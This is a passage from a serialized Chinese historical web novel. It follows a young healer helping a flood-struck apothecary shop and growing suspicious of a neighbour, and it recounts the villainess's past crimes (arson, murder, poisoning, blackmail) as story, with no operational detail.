王氏强打精神，开始归整柜台和账目。泡过水的账册字迹模糊，她只能凭着记忆，一点点重新誊录。每写下一笔损失，她的手就颤抖一下，眼泪掉在纸上，晕开墨迹。 许娇娇则蹲在那堆待处理的废药前，一捧一捧地仔细翻检。偶尔，她会从中拣出一些虽已变色但或许尚存几分药性的，单独放在一边，准备等廖大夫回来后再做定夺。 “娇杏，”静尘走过来，低声道，“这些……真的都没用了吗？”她指着筐里那些曾经昂贵的药材，满脸痛惜。 许娇娇摇摇头，轻声道：“师姐，药材之道，首重性味。水浸霉变，性味已失，勉强入药，非但无效，反可能有害。张伯是明白人，这些道理他懂。” 只是懂归懂，心痛却是难免的。这些药材，是张东家半生心血，也是铺子安身立命的根本。 忙碌间，许娇娇问起张记今后的打算。 张东家正拿着锤子，费力地修理一张被水泡得变形的条凳，闻言停了手，苦笑道：“能怎么办？一步步来罢。先把铺子收拾出来，该修的修，该换的换。药材……只能慢慢再攒。好在老主顾们都体谅，知道咱们遭了灾，也没催逼。” 王氏在一旁哽咽道：“就是这重新进货的银钱……东家把能动的积蓄都拿出来了，可这次损失太大，恐怕……” 张东家瞪了她一眼：“妇道人家，说这些做什么！天无绝人之路，总会有办法的。” 许娇娇沉默不语。她知晓张记虽有些根基，但毕竟是小本经营，经此一劫，元气大伤是必然的。她摸了摸袖中沈家送来的那二十两银子——原本是打算留着添置些必需药材和医书的。此刻，她却有了别的想法。 午时，廖大夫背着药篓风尘仆仆地回来了。他看起来面庞比原先清瘦了些，此刻满脸疲惫，裤腿上还沾着泥点。 “廖大夫。”许娇娇上前见礼。 廖大夫见到她，眼中露出温和笑意：“许娘子来了。这些日子辛苦你了，仁心堂那边的事，我都听说了，做得好。” “廖大夫过奖。”许娇娇谦道，看向他的药篓，“采到药了吗？” 廖大夫摇摇头，将药篓放下：“城外也是一片狼藉，好药材早被水冲走了。只找到些车前草、马齿苋之类常见的，品相也不好。”他叹了口气，“这次水患，怕是整个江南道的药材收成都要受影响，往后药材价格，恐怕要涨。” 这话让众人心头更沉了几分。 简单用了些王氏让周厨娘准备的午饭——不过是清粥配咸菜，众人又继续忙碌。 许娇娇和廖大夫一起，将拣出的尚可一用的药材重新分类，记录在册。廖大夫见识广博，对药材鉴别颇有心得，不时指点许娇娇几句。许娇娇听得认真，偶有发问，也总能切中要害，让廖大夫暗自点头。 静尘和王氏则将铺子里里外外擦拭干净，开窗通风。潮湿的气味渐渐散去，取而代之的是阳光和艾草混合的清爽气息。 到了申时末，铺子总算有了些模样。废药已集中到后院角落，待晾干后焚烧。完好的药柜重新归位，空荡荡的抽屉等待着新药材的填充。地面打扫得一尘不染，破损的柜台也勉强修补起来，虽然依旧斑驳，却已能使用。 王氏煮了一锅绿豆汤，招呼大家歇息。 坐在擦拭干净的条凳上，喝着微甜的绿豆汤，看着窗外渐斜的日头，众人疲惫的脸上终于有了一丝松快。 王氏絮絮地说起自家的情况：“……幸亏咱们住的那片地势高，水只漫到门槛就停了。就是屋里潮得厉害，被褥衣物都发了霉，这几日天好，正紧着晾晒呢。”她说着，又红了眼，“就是可怜那些住低洼处的人家，听说城西杏花巷那边，淹死了十几口人……” 张东家低声呵斥：“说这些做什么，平白惹人难过。” 王氏擦了擦眼角，强笑道：“是是，不说了。总之，人还在，日子总要过下去。” 廖大夫缓声道：“这次灾情，朝廷赈济还算及时，钦差裴大人亲临坐镇，调度有方，疫病也控制得快。否则，死伤只怕更多。” 提到裴宴，许娇娇端着碗的手几不可察地顿了顿。她垂下眼睑，默默喝了一口绿豆汤。 静尘轻声道：“是啊，多亏了朝廷，也多亏了像娇杏、赵药师这样拼命的医者。” 众人又说了会儿话，眼见日头西斜，许娇娇和静尘便起身告辞。 王氏百般挽留，非要她们吃了晚饭再走：“家里虽没什么好东西，但炖个蛋、炒个青菜还是有的。你们忙了一整天，哪能空着肚子回去？” 许娇娇婉言谢绝：“王婶，您和张伯也累了一天，早些歇息罢。铺子刚收拾出来，明日还有得忙。我和师姐回去随便做些吃的就好，不必麻烦。” 张东家也道：“让她们回去吧。娇杏身子还没完全养好，静尘也累着了。” 王氏这才作罢，千恩万谢地将二人送到门口，又包了一小包自家晒的菜干，硬塞给静尘。 走在回柳枝巷的路上，夕阳将两人的影子拉得老长。街道两旁的店铺大多已上了门板，炊烟袅袅升起，空气中飘散着饭菜的香气。 静尘提着那包菜干，轻声道：“张东家和王婶，真是不容易。” 许娇娇“嗯”了一声，目光掠过街边那些正在重建家园的人们，心头沉甸甸的。天灾面前，个人的力量如此渺小。可也正是这些渺小的个体，在灾难过 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水仙姑怎么会在这里？难道…… 许娇娇的心往下沉。她这些日子忙于水患和疫病，几乎要将水月庵的威胁暂时抛在了脑后。可此刻水仙姑的出现，像一盆冰水，将她拉回现实。 她的目光移向水仙姑对面的人。 那是个三十出头的妇人，穿着靛蓝色的粗布衣裙，身材微丰，面容白皙，眉眼间带着几分愁苦之色。她正微微低着头，听水仙姑说话，不时点头。 许娇娇仔细打量着那妇人，越看越觉得眼熟。这眉眼，这身形…… 她忽然想起来了。 这妇人，竟是她们柳枝巷新搬来的那户崔姓人家的娘子，罗氏！ 许娇娇的脊背窜上一股寒意。刘寡妇前些日子的闲谈瞬间涌上心头。 难道，这一切都不是巧合？ 静尘显然也认出了崔娘子，她紧紧抓住许娇娇的手臂，有些吃惊：“娇杏，她、她怎么会和水仙姑在一起？她们认识？” 许娇娇没有回答,只是紧紧盯着巷子口的两人。 只见水仙姑似乎说完了话，从袖中掏出一个小布包，塞进崔娘子手中。崔娘子犹豫了一下，四下张望一番，才快速将布包藏进怀里。 两人又说了几句，水仙姑便转身匆匆离去，身影很快消失在街角。 崔娘子独自在原地站了片刻，左右看了看，这才低着头，快步往柳枝巷的方向走去。 许娇娇和静尘躲在阴影里，一动不敢动，直到崔娘子的身影也消失在视线中，才缓缓吐出一口气。 夕阳完全沉入了远山，暮色四合，小巷里昏暗下来。 静尘声音里满是疑虑：“娇杏，她们……是不是冲着我们来的？ 崔娘子和水仙姑是不是早就认识？” 许娇娇强迫自己冷静下来。她深吸了几口微凉的空气，压下心头的疑惑。 “师姐，先别慌。”她握住静尘冰凉的手，低声道，“我们还不能确定。也许只是巧合，崔娘子恰好与水仙姑是旧识。” 不过，那水仙姑是什么人？心狠手辣，与王大官人勾结，做着见不得人的勾当。她突然出现在此地，与一个看似普通的邻居妇人私下会面，还给了对方东西…… 这绝不是寻常的走亲访友。 崔娘子收下布包时那谨慎的神情，多少都有些不合常理。 他们是想做什么？是知道她如今在柳枝巷，想找机会对她下手？还是另有所图？ “娇杏，我们现在怎么办？”静尘有些六神无主，“要不要报官？或者……告诉那个钦差裴大人？” 提到裴宴，许娇娇心头又是一动。若在平时，她或许会考虑借助官府的势力。可眼下，裴宴身为钦差，正忙于灾后重建的事。再说，她和他也没多熟。况且，她手中并无确凿证据，仅凭水仙姑与崔娘子私下见面，根本无法证明什么，反而可能打草惊蛇。 更让她顾虑的是，若将此事捅出去，势必会牵扯出她的身世、水月庵的肮脏勾当，甚至可能暴露她身上那些无法解释的秘密。在眼下这个敏感时期，这无异于引火烧身。 “暂时不要声张。”许娇娇沉声道，语气是前所未有的凝重，“师姐，我们只当什么都没看见。回去之后，一切如常，莫要让崔娘子察觉我们已经发现了她与水仙姑的关系。” “可是……”静尘急道，“她们就在隔壁，万一要对我们不利……” “正因她们在隔壁，我们才更要小心。”许娇娇目光锐利，“敌暗我明，轻举妄动只会让自己陷入被动。如今我们在明处，她们在暗处，我们不知道她们究竟想做什么，有什么布置。盲目行动，只会暴露自己。” 她顿了顿，继续道：“从现在起，我们要加倍小心。暗中关注都有谁与崔家来往，要保持距离，既不过分亲近，也不刻意疏远，以免引起怀疑。” 静尘认真听着，连连点头，“我明白。我会和静心也说一声，让她也小心些。” “嗯。”许娇娇抬头望向柳枝巷的方向，暮色中，那一片屋舍的轮廓模糊而安静，仿佛什么都不会发生。 “走吧，师姐。”她轻声道，挽起静尘的手臂，“天快黑了，我们回家。” 两人并肩走出小巷，融入渐浓的暮色中。 55. 第55章 邻居崔娘子 回到柳枝巷的小院时，天已完全黑透。 巷子里家家户户亮着灯火，窗纸上映出忙碌的人影，锅铲碰撞声、说笑声隐约可闻。寻常的市井烟火气，此刻却让许娇娇心头蒙上一层阴翳。 隔壁崔家的窗户也透着光，安静得很，听不见什么动静。 “娇杏，”静尘闩好院门，转过身来，脸上忧色未散，“你说那水仙姑……到底想做什么？她会不会已经知道你在这里？” “八成是。”许娇娇将药箱放在堂屋桌上，声音平静得近乎漠然，“王大官人在归平县手眼通天，那庆和堂也是王大官人的店铺，她通过王大官人打听到我们的下落。那是易如反掌，只是……” 她顿了顿，走到窗边，轻轻掀开一条缝隙，望向隔壁那扇亮着灯的窗。 “只是我不明白，她们为何不直接动手，反而要绕这么大个圈子，让崔娘子搬来做邻居。”许娇娇眉头微蹙，“若真想报复，找几个泼皮无赖，或是像前两次那样设计陷害，岂不更直接？” 静尘走到她身边，低声道：“会不会是……忌惮沈府？” “或许。”许娇娇放下窗扇，转身坐下，“我救过沈家小娘子，又治好了沈谦，沈府对我至少面上是客气的。她们若明着动手，难免要与沈府对上。王大官人再嚣张，也不敢轻易开罪沈家这样的门第。” “那她们让崔娘子搬来，是想暗地里……” “监视，或是寻找机会。”许娇娇接道，“崔娘子若只是个普通妇人，自然最好。若不是……”她抬眼看向静尘，“师姐，这几日劳你多留意隔壁的动静。看看都有谁和她们来往，都一一记在心里。但要做得自然，莫要刻意。” “我晓得。”静尘点头，“静心那边……” “也跟她说一声，但要叮嘱她，莫要表露出来。”许娇娇想了想，“静心性子直，藏不住事，就说，我最近惹了些麻烦，要她多加小心，但具体什么事，先别和她细说。” 静尘会意：“好。” 正说着，院门又被敲响了。 两人对视一眼，静尘扬声问：“谁呀？” “是我，刘婶！”门外传来刘寡妇的声音，“给娇杏送点腌菜，今日刚启坛的！” 静尘松了口气，看向许娇娇。许娇娇点点头，起身去开门。 刘寡妇端着个粗瓷碗站在门外，里头是油汪汪的腌萝卜，切得细细的，撒着芝麻，香气扑鼻。 “快尝尝，今年新腌的，脆着呢！”刘寡妇笑着将碗递过来。 许娇娇接过，道了谢，顺口问：“刘婶吃饭了没？要不进来坐坐？” “吃过了吃过了。”刘寡妇摆摆手，目光却往隔壁瞟了一眼，压低声音，“哎，你们刚才回来时，瞧见崔家娘子没？” 许娇娇心头一动：“怎么？” “她今日下午出去了，傍晚才回来。”刘寡妇神秘兮兮道，“回来时脸色不大好，像是哭过，眼睛红红的。我问她怎么了，她支支吾吾，只说家里有点事。可我瞧她那样子……” 刘寡妇顿了顿，声音更低了：“像是受了什么委屈。” 许娇娇和静尘交换了个眼神。 “许是家里真有什么事罢。”许娇娇淡淡道，“家家有本难念的经。” “也是。”刘寡妇叹口气，“这崔娘子看着也像个和善人。她那男人崔旺倒是瞧着有几分精明，莫不是和她男人有了龌龊？ “许是吧！”许娇娇敷衍了几句，刘寡妇便告辞了。 送走刘寡妇，许娇娇端着那碗腌菜回到堂屋，若有所思。 “看来崔娘子与水仙姑见面，并非心甘情愿。”她轻声道，“刘婶说她眼睛红红，像是哭过。若她真是水仙姑的人，见面后不该是这副模样。” 静尘点头：“我也觉得。她收下布包时，那神情……更像是被迫的。” “被迫……”许娇娇喃喃重复，“水仙姑手里，怕是捏着她的什么把柄。” 夜色渐深，两人简单用了晚饭，便各自歇下。 许娇娇躺在榻上，却毫无睡意。 窗外月明星稀，秋虫唧唧。她睁着眼，将这几月来的种种梳理了一遍。 水仙姑、王大官人、偷方子、妖女谣言、水患、疫病、沈谦、裴宴、崔娘子…… 一桩桩，一件件，看似杂乱，却隐隐有根线串着。 这根线，就是她许娇娇。 她就像投入湖心的石子，激起的涟漪，一圈圈荡开，牵扯出湖面下暗藏的漩涡。 而她身世的秘密，就是漩涡的中心。 父亲许大郎究竟是谁？为何会隐居落溪村？他的死真是意外吗？母亲柳氏又为何紧随而去？ 这些问题，她自己也没有答案。 前世的记忆像一场模糊的梦，今生的经历又处处透着诡异。有时候，她甚至分不清自己究竟是谁。 “不管我是谁，”她望着帐顶，轻声自语，“这条路，总要走下去。” 次日，许娇娇依旧早早起身。 静尘和静心已在厨房忙活，粥香弥漫。见她进来，静心笑着招呼：“娇杏，今日有菜包子，刘婶昨日送的腌菜正好做馅！” “好。”许娇娇净了手，帮着摆碗筷。 饭后，许娇娇照例准备去张记。铺子刚收拾出来，还有许多事要做。 走出院门时，正巧遇见崔娘子拎着菜篮子从隔壁出来。 “许娘子。”崔娘子见到她，微微一怔，随即露出个温和的笑容，“这么早出门？” “去铺子里帮忙。”许娇娇还以一笑，目光不着痕迹地扫过对方。 崔娘子今日穿了身半旧的豆青色衣裙，头发梳得整整齐齐，脸上薄施脂粉，掩去了眼下的憔悴，但仔细看，眉宇间仍有一丝挥之不去的愁绪。 “许娘子在张记坐诊？”崔娘子问，语气自然。 “是，跟着张东家学些本事。”许娇娇答得谦逊。 两人并肩往巷口走，有一搭没一搭地说着闲话。 崔娘子话不多，多是许娇娇问一句，她答一句。说到自家情况，也只简单道：“外子在码头做些伙计，女儿在家做些针线，日子还过得去。” 走到巷口，许娇娇要往西去张记，崔娘子则要去东边的菜市。 “崔娘子慢走。”许娇娇客气道。 “许娘子也慢走。”崔娘子点点头，转身离去。 许娇娇站在原地，看着她的背影消失在人群中，眉头微蹙。 这崔娘子，看起来确实只是个寻常妇人。若非昨日亲眼所见，她怎么也想不到，对方会与水仙姑有牵扯。 到了张记，铺子里已有了生气。 廖大夫正在坐诊，见许娇娇来了，含笑招呼：“许娘子今日气色好些了。” “廖大夫早。”许娇娇福了一礼，看向柜台后，“张伯呢？” “在后院清点药材。”廖大夫道，“陈平从邻县回来了，带回些消息，东家正与他说话。” 许娇娇往后堂去，果然见张东家和陈平站在院中，面前摊着几个麻袋。 “张伯，陈大哥。”她上前招呼。 张东家回头，脸上带着几分喜色：“娇杏来了。陈平这回可立了功，从苏州带回来一批药材，虽不是顶好的，但品相尚可，价格也公道。” 陈平挠挠头，憨厚地笑：“也是运气好。苏州那边的药材行还有些存货。我照着东家给的单子，能买的都买了些。” 许娇娇上前查看。麻袋里多是些常用药材：柴胡、黄芩、茯苓、甘草……虽不如以往张记的药材品相好，但炮制得法，药性应该不差。 “陈大哥辛苦了。”她由衷道。 “不辛苦不辛苦。”陈平连连摆手，“铺子能重新开起来，咱们都有饭吃，比什么都强。” 张东家拍拍陈平的肩：“去歇着吧，这一路奔波，累坏了。” 陈平应声去了。 张东家转头对许娇娇道：“有了这批药材，铺子勉强能撑些时日。只是……”他叹了口气，“好药材难寻，价格也涨得厉害。往后这生意，怕是难做了。” 许娇娇沉默片刻，从袖中取出一个布包，递过去。 “张伯，这个您先拿着。” 张东家接过，打开一看，里头是十两银子。他脸色一变：“娇杏，你这是做什么？快收回去！” “张伯，”许娇娇按住他要推回来的手，语气诚恳，“这银子不是我的，是沈府感念我救治灾民，赠我添置药材的。如今铺子有难，正是用钱的时候。您先拿着周转，等铺子缓过来了，再还不迟。” 张东家眼眶微红，声音哽咽：“你这孩子……你自己也不宽裕，前些日子还受了那么多委屈……” “都过去了。”许娇娇微微一笑，“咱们现在最要紧的，是把铺子撑起来。廖大夫、万大夫、陈大哥、王婶，还有那么多老主顾，都指着张记呢。” 张东家攥紧了那包银子，重重点头：“好，好……这银子，算我借的。等铺子好了，一定还你。” 正说着，前堂传来王氏的声音：“东家，许娘子，有客人找！” 两人对视一眼，往前堂去。 铺子里站着个衣着体面的中年妇人，身后跟着个小丫鬟。见许娇娇出来，妇人眼睛一亮，上前福礼：“许娘子，老身是沈府老夫人跟前的赵嬷嬷。老夫人听闻娘子身子大安了，特意让老身过来，请娘子过府一叙。” 许娇娇心头微动。沈老夫人亲自相请，这面子可不小。 她看向张东家。张东家忙道：“既是老夫人相请，你快去。铺子里有我们呢。” 许娇娇这才对赵嬷嬷还礼：“有劳嬷嬷跑一趟。容我稍作收拾。” “娘子请便。”赵嬷嬷笑容可掬。 许娇娇回后堂换了身干净的衣裳，重新梳了头，这才随赵嬷嬷出了门。 沈府的马车等在巷口，青帷小车，朴素却不失体面。 一路上，赵嬷嬷与许娇娇说着闲话，多是问些日常起居、饮食调理，态度亲切自然。 许娇娇一一答了，心中却不敢松懈。沈老夫人突然相请，绝不会只是叙旧这么简单。 马车从侧门入府，径直往后院去。 寿安堂里，沈老夫人正坐 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“你是个聪明孩子，有些话，我便直说了。”沈老夫人缓缓道，“你的身世，我派人查过。父母早亡，孤苦无依，能走到今日，不易。” 许娇娇心头一紧，面上却依旧平静。 “你有医术，有心性，这是你的造化。”沈老夫人话锋一转，“可这世道，对女子本就苛刻。你一个孤女，无依无靠，行医济世，更要处处谨慎。” 她顿了顿，目光如炬：“前些日子的谣言，虽已平息，可难保没有下一次。你如今在菰城，有了些名声，也惹了些眼。往后行事，更要如履薄冰。” 许娇娇听懂了。沈老夫人这是在提醒她，也是告诫她——沈家可以护她一时，却护不了一世。她自己的路，终究要自己走。 “小女明白。”她低声道，“谢老夫人教诲。” 沈老夫人眼中闪过一丝赞赏：“你明白就好。今日叫你过来，还有一事。” 她示意赵嬷嬷。赵嬷嬷从内间取出一个锦盒，打开，里头是一对赤金嵌宝的镯子，光华璀璨。 “这是我的心意，你收下。”沈老夫人道，“不算酬谢，只当是长辈给晚辈的见面礼。” 许娇娇忙起身：“老夫人，这太贵重了，小女不能收。” “收下吧。”沈老夫人语气温和却不容拒绝，“你救了谦儿，便是救了我半条命。这对镯子，你留着，将来……总有用得着的时候。” 话说到这个份上，许娇娇只得再次谢过，收下锦盒。 又说了会儿话，多是沈老夫人问，许娇娇答。问到日后打算，许娇娇只道想在张记继续学医，并无他求。 沈老夫人点点头，未再多言。 临走时，赵嬷嬷送许娇娇出府，低声道：“老夫人很喜欢娘子。只是府里人多口杂，有些事，娘子心里有数就好。” 许娇娇了然：“谢嬷嬷提点。” 回到柳枝巷时，已是午后。 静尘和静心正在院中晾晒药材，见她回来，忙迎上来。 “怎么样？沈老夫人没为难你吧？”静心关切地问。 许娇娇摇摇头，将锦盒递给静尘：“老夫人赏的。” 静尘打开一看，倒吸一口凉气：“这……太贵重了。” “收起来吧。”许娇娇轻声道，“老夫人这是在告诉我，沈家认我这份情，但也仅止于此。” 静尘会意，将锦盒收进里屋。 许娇娇走到井边，舀水洗脸。冰凉的井水让她精神一振。 沈老夫人的话还在耳边回响。 如履薄冰。 是啊，前有狼，后有虎。水仙姑在暗处窥伺，崔娘子就在隔壁，庆和堂王大官人那边恐怕也不会善罢甘休。而她身上那些解不开的谜团，随时可能成为催命符。 她能依靠的，只有自己。 许娇娇擦干脸，望着院中那丛开得正盛的月季。 秋阳高照，花开似火。 夜深了，崔家厢房里还亮着灯。 崔娘子坐在床沿，手里攥着那个水仙姑给的小布包，指尖发白。 布包里是几块碎银，还有一张字条。字条上写着：“还记得十年前的那场大火吗？现在我只需要你再照做一次，往后，两不相欠。” 她盯着那行字，眼泪无声滑落。 窗外传来更鼓声，三更天了。 崔娘子擦干泪，将布包塞进床板下的暗格里，吹熄了灯。 黑暗中，她睁着眼，久久无法入睡。 十年了，她以为那些噩梦已经远离了自己，但，今日遇到了水娘，她发现，不管她走到哪里，那些噩梦从没远离。 她想起许娇娇那张清秀沉静的脸，在她眼前晃来晃去。 那么小的年纪，那么沉静的眼神，怎么看都不像水娘口中那个“心机深沉、妖孽附体”的祸害。 可是…… 眼前又浮现水娘那张摇曳的脸，和从她嘴里吐出的话语：“怎么，十年未见，以为攀上了高枝就不认识我了。别忘了，当初可是你放的火，玉娘。”崔娘子闭上眼，泪水又涌了出来。 56. 第56章 水仙姑的回忆 同一片清冷的月色，透过水月庵禅房斑驳的窗棂，在地上投下疏离的碎影。烛火在铜灯台里摇曳不定，将墙面上悬挂的观音像映得忽明忽暗。那观音低眉垂目，慈悲的面容在跳动的光影中，竟显出几分诡异的漠然。 水仙姑并未就寝。 她独坐妆台前，对着一面早已晦暗的铜镜，慢条斯理地梳理着泼墨般的长发。镜面模糊，映出一张年过三旬的脸——眉眼间依稀可见旧日的精致轮廓，皮肤因常年敷粉而显出不太自然的白皙，只是眼角细纹虽被脂粉精心遮掩，却仍在不经意间泄出岁月的痕迹。这张皮囊尚存几分旧日颜色，只是那双眸子，即便在无人窥见的深夜里，也闪烁着淬了毒般的精光与挥之不去的戾气，不见半分出家人应有的慈悲与宁静。 指尖探入梳妆匣底层，触到一抹冰凉坚硬的物事。她动作微顿，随即将其取出。那是一支金簪。簪身沉甸甸的，簪头以极细金丝盘绕成海棠模样，花瓣层叠，蕊心嵌着一粒小小的红宝，即便在昏暗的烛光下，也流转着内敛而奢华的光泽。工艺繁复精巧，绝非市井凡品，更不是水月庵这种地方该有的东西。 这是她当年仓皇离京时，贴身带出的最值钱物件。 水仙姑，或者该叫她曾经的名字，水娘。她盯着掌心的金簪，指尖缓缓抚过冰凉的金丝花瓣。这支簪子，是那夜戴明书随身携带的，那夜仓皇间，她瞧见戴明书的胸前露来这支金灿灿的簪子，她想，这恐怕就是戴明书要送给她的，只是那夜他酒醉的厉害，没来得及拿出来。既然是送给她的，那么就是她的不是吗！ 那时她还是翠玉楼的头牌，一曲清歌价值百金，多少达官贵人、风流才子为博她一笑一掷千金。这支簪子，不过是那些浮华岁月里，微不足道的一件纪念品罢了。 可如今，却成了她与那段过往之间，唯一的、也是最后的联系。 “崔娘子……”她喃喃念出这三个字，唇角缓缓勾起，扯出一个毫无温度的冷笑。 罗玉娘，如今的崔娘子。当年在翠玉楼，不过是个伏低做小、连给她端洗脚水都需看眼色的粗使丫鬟。模样算得上清秀，性子看着温顺怯懦，说话总是细声细气，见人就低头，一副受气包的模样。水娘那时心高气傲，哪里会将这么个小丫鬟放在眼里？不过是个可以随意使唤、随意打骂的下人罢了。 谁能想到呢？ 水娘对着铜镜，将金簪缓缓插回发间。冰凉的触感贴着头皮，让她混乱的思绪稍微清明了一些。 十年前，忠勤伯府的戴明书戴衙内慕名来翠玉楼。那时她风头正盛，是京中红极一时的名妓，寻常官宦子弟想见她一面都难。忠勤伯府虽有些权势，但戴明书在京中名声极差。谁不知道那是个以折磨女子为乐的纨绔？死在他手里的丫鬟、娼妓，怕是不下五指之数。 鸨母那个见钱眼开的贱人，收了戴衙内五百两银子，便逼着她去伺候。水娘哪里肯？她虽沦落风尘，却也有自己的傲气与算计。这些年周旋于各色男人之间，她早就摸出了一套生存法则：可以虚与委蛇，可以逢场作戏，但绝不能真把自己交到戴明书那种人手里。 可她推脱不掉。 翠玉楼的规矩，鸨母的话就是天。她若敢不从，有的是法子让她生不如死。那些不听话的姑娘，最后不是被卖到最低等的窑子，就是莫名其妙病逝，这种事，她见得多了。 既然推脱不掉，那就只能想法子。 那夜，戴明书带着一身酒气闯进她的房间。水娘强压下心头的厌恶与恐惧，换上娇媚的笑容，迎了上去。她使尽浑身解数，一杯接一杯地劝酒，心里盘算着将这畜生灌醉，让他无力作恶便好。 可奇怪的是，戴明书不过喝了两三杯，就瘫倒在榻上，不省人事。 水娘当时还暗自庆幸，以为是自己运气好，或是这衙内本就酒量浅。她看着戴明书那张因醉酒而泛红的脸，心里闪过无数念头……要不要趁此机会，干脆结果了这个祸害？可忠勤伯府势大，若追查起来，她必死无疑。 正犹豫间，门外忽然传来喧哗声。 “走水了！走水了！” 水娘心头一惊，冲到门边，刚拉开门缝，一股灼热的气浪便扑面而来！走廊上火光冲天，浓烟滚滚，木料燃烧的噼啪声、人们的哭喊声、奔跑声混成一片，恍如地狱。 她吓得魂飞魄散，慌忙关上门，转身去摇戴明书：“衙内！衙内醒醒！走水了！” 可戴明书如同死了一般，任凭她如何摇晃、呼喊，就是一动不动。水娘急得满头大汗，伸手去探他鼻息，微弱，但还有气。可一个醉得不省人事的壮年男子，她如何拖得动？ 火势蔓延得极快，不过片刻工夫，门缝里已钻入浓烟，呛得她连连咳嗽。房间开始发热，窗纸被烤得焦黄卷曲。水娘知道不能再等了，她冲到窗边，推开窗户——楼下也是火光一片，但好在窗下是个堆放杂物的角落，火势尚未蔓延过来。 她回头看了一眼榻上的戴明书，咬了咬牙。罢了，自身难保，哪还顾得上别人？这祸害死了便死了，也算为民除害！ 水娘将身上繁复的衣裙下摆撕开，绾起长发，踩上窗台正要往下跳，忽然想起什么，又折返到妆台前，胡乱抓了几件最值钱的首饰塞进怀里，刚要扭头，就看到了那支海棠金簪，她返回身一把抓起，就在她准备再次翻窗时，房门突然“砰”的一声被撞开，一个纤细的人影冲了进来，却是她房里的粗使丫鬟，那个脑子不太灵光、常被其他丫鬟欺负的随儿。 随儿满脸惊恐，看见水娘就要扑过来：“姑娘！姑娘救我！外面全是火……” 水娘心头烦躁，此刻哪还顾得上这个傻丫鬟？她一把推开随儿：“自己逃命去！” 可随儿死死拽着她的衣袖，哭喊着不肯放手。浓烟越来越重，水娘被呛得眼泪直流，视线开始模糊。她瞥见妆台上那个沉重的铜香炉，心一横，抓起香炉，狠狠砸在随儿后脑上！ 随儿闷哼一声，软软倒了下去。 水娘喘着粗气，看着地上昏迷的丫鬟，又看看榻上不省人事的戴明书，忽然生出一个念头——若这两人都死在这场大火里，而她自己侥幸逃脱，那么…… 她眼中闪过一抹狠厉，迅速扒下随儿的外衫套在自己身上，又将随儿拖到榻边，让她伏在戴明书身旁。做完这些，她才翻身出窗，顺着窗棂往下爬。 手臂被灼热的木料烫出水泡，长发被火星燎焦，后颈处一阵剧痛——定是被掉落的火苗灼伤了。她咬牙忍着，拼尽最后力气跳到地面，踉跄着逃离火海。 混乱中，她不敢走正门，跌跌撞撞绕到翠玉楼后巷的角门。角门虚掩着，她正要推门出去，却透过门缝，看见了让她永生难忘的一幕—— 后巷的阴影里，站着一个熟悉的身影。 罗玉娘。 那个平日低眉顺眼、说话都不敢大声的丫鬟，此刻手里竟握着一支火把。火光映着她那张清秀的脸，原本温顺的眉眼在跃动的火焰中，显出一种让水娘脊背发寒的平静。不，那不是平静，而是一种近乎癫狂的决绝与狠厉。 罗玉娘将火把扔向墙角堆积的柴薪，火焰“轰”地窜起，迅速蔓延。做完这一切，她转过身，朝角门方向看了一眼。 水娘慌忙缩身躲到阴影里，心脏狂跳。那一瞬间，她确信玉娘看到了她，两人的目光在火光与黑暗中，有过短暂的交汇。 可罗玉娘什么也没说，只是静静看了她一眼，便转身，步履急促地消失在巷子深处。 水娘惊惶万分，瘫坐在角门后，浑身冰冷，久久无法动弹。 直到巡夜的官兵赶来，救火的喧哗声将她惊醒，她才连滚爬爬地逃离了那个地方。 后来她才知道，那场大火烧死了二十三人，其中就包括忠勤伯府的戴衙内，和翠玉楼的头牌水娘。 官府在废墟里发现两具焦尸，一具身形似男子，一具穿着水娘的衣裙，身旁还有她的贴身玉佩。鸨母哭天抢地，认定是水娘命丧火海。 而她这个已死之人，带着灼伤的疤痕和仅存的首饰，开始了逃亡。 辗转南下，她想起自己有个远房的表姐，早年出家，在江南道一个叫水月庵的地方做主持。走投无路之下，她投奔而来。 表姐了尘师父是个真正心善的出家人，见她落魄可怜，便收留了她，让她在庵中带发修行，还为她治好了颈后的烧伤。对外只说是远房表妹遭遇不幸，前来投靠。 水娘从此成了水月庵的水仙姑。 她本想着，就这样青灯古佛了却残生也好。那些前尘往事，那场滔天大火，那些死去的人，就都忘了吧。 可她终究不是了尘那样真正看破红尘的人。 庵中的清苦日子过久了，她便开始不耐。尤其是看着那些香客捐的香油钱，看着附近村落送来的供奉，她心里那点贪念与不甘，又慢慢滋生出来。 了尘师父待她虽好，却严守清规，从不肯多取一丝一毫非分之财。水娘暗地里嗤笑表姐迂腐。这世道，哪有什么真正的清净之地？人活着，总要为自己打算。 后来，她认识了归平县的富商王兆贵。 王兆贵来水月庵上香，一眼就看穿了这位水仙姑绝非真正的六根清净之人。几次试探下来，两人便心照不宣地勾搭在一起。王兆贵需要水月庵这个看似清净的佛门之地，做一些见不得光的勾当。而水仙姑，则需要钱，需要势，需要有人帮她在这地方站稳脚跟。 各取所需，一拍即合。 至于了尘师父，那个碍事的、总想劝她回头是岸的表姐。水仙姑嘴角牵起一抹冷笑。当了她的路，她自然不会让她继续当路。那日清早她端给她一杯茶，她就突发心疾去世了。 她顺理成章地接管了水月庵。 从此，水月庵便成了王兆贵在归平县的一个隐秘据点。而那些原本清修的比丘尼，听话的便留着做些杂役，不听话的，自然有办法让她们自愿离开，或者 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十年了。她竟在这里，以崔娘子的身份，过着看似平静的寻常日子。 水仙姑当时就笑了，笑得眼泪都流出来。好啊，真是老天开眼。当年那个放火杀人的贱人，差点将她烧死的贱人。如今倒装起良家妇女来了。还嫁了人，真是讽刺。 于是她今日午后，在杂货店旁的巷口，当崔娘子看到她时，那张保养得宜的脸上瞬间血色尽褪，眼中的惊恐与难以置信，让水仙姑心里涌起一股扭曲的快意。 “玉娘，别来无恙啊！”她当时是这么开场的，声音温柔得像毒蛇吐信。 罗玉娘浑身发抖，几乎站立不稳：“你……你没死……” “托你的福，侥幸捡回一条命。”水仙姑逼近一步，压低声音，“倒是你，胆子不小。放了那么大一场火，烧死了忠勤伯府的公子，居然还能全身而退，跑到江南来嫁人做了别人的娘子。真是好手段。” “我……我不知道你在说什么……”罗玉娘眼神躲闪，声音发颤。 “不知道？”水仙姑轻笑，“需要我提醒你吗？十年前，翠玉楼大火，你拿着火把站在后巷的样子，我可记得清清楚楚。要不要我现在就去衙门，找官爷们聊聊？” 罗玉娘脸色煞白，嘴唇哆嗦着，却说不出话。 水仙姑满意地看着她的反应，从袖中取出那个小布包，塞进她手里：“这里有几两碎银，还有张字条。字条上写得很清楚——我要你帮我做一件事。事成之后，你我两清，从前的事我烂在肚子里，你继续做你的崔娘子。” “什么事……”罗玉娘声音微弱。 